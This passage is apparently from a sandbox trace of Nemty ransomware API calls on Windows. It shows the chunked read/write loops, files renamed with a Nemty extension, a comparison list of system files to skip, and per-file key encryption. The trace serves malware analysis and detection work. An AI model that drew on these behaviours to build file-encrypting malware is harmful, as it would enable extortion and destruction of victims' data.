lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.131] CloseHandle (hObject=0xffffffff) returned 0 [0074.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0074.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0074.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0074.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0074.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.131] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png._nemty_kgobjgd_")) returned 0 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.132] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2=".") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="..") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="...") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="windows") returned -1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="$RECYCLE.BIN") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="rsa") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="NTDETECT.COM") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="ntldr") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="MSDOS.SYS") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="IO.SYS") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="boot.ini") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="boot.ini") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="AUTOEXEC.BAT") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="ntuser.dat") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="desktop.ini") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="CONFIG.SYS") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="RECYCLER") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="BOOTSECT.BAK") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="bootmgr") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="programdata") returned 1 [0074.132] lstrcmpiW (lpString1="whitemenu.png", lpString2="appdata") returned 1 [0074.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemenu.png", lpUsedDefaultChar=0x0) returned 13 [0074.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemenu.png", lpUsedDefaultChar=0x0) returned 13 [0074.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemenu.png", lpUsedDefaultChar=0x0) returned 13 [0074.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="whitemenu.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="whitemenu.png", lpUsedDefaultChar=0x0) returned 13 [0074.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0074.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0074.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0074.133] Sleep (dwMilliseconds=0x5) [0074.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdfd72c10, dwHighDateTime=0x1d561e7)) [0074.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdfd72c10, dwHighDateTime=0x1d561e7)) [0074.145] GetLastError () returned 0x5 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.145] GetLastError () returned 0x5 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0074.145] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0074.145] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0074.145] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="GkXDeef5pzTbEJI6qHUSXR60c7afp1lLzdN+55kFD9TD9+NlltXrdTojVf3zBzkU\r\n3z1/3VA7NPwjmdZl751SmRDQl6/Rbe0YrXbl9cTd8y9nGEQYUVCzxbgJvyB/0nHa\r\n1zXYHt7WHbFeDm6vjiq33VbXDPdvuIwXAbF/94fy3vh/zAlLUKk72+FJ97v+Qc+P\r\n/FCJwNL+6cF5OIBlkfxBh/Q4Y//Pllajyd1/MnIh/1++m69WvDo9n2HSAnYv+lwk\r\neAYbbeSFf1kkcHngg6xvacIe5jDG4Yi9+wHovbSu3AKK596u9VxQPVlx8gWmg5F6\r\nSlfPWpHSNqR6RXa0KkQTRA==\r\n", pcchString=0x653e91c) returned 1 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0074.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0074.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0074.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0074.145] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.146] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0074.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0074.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.155] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 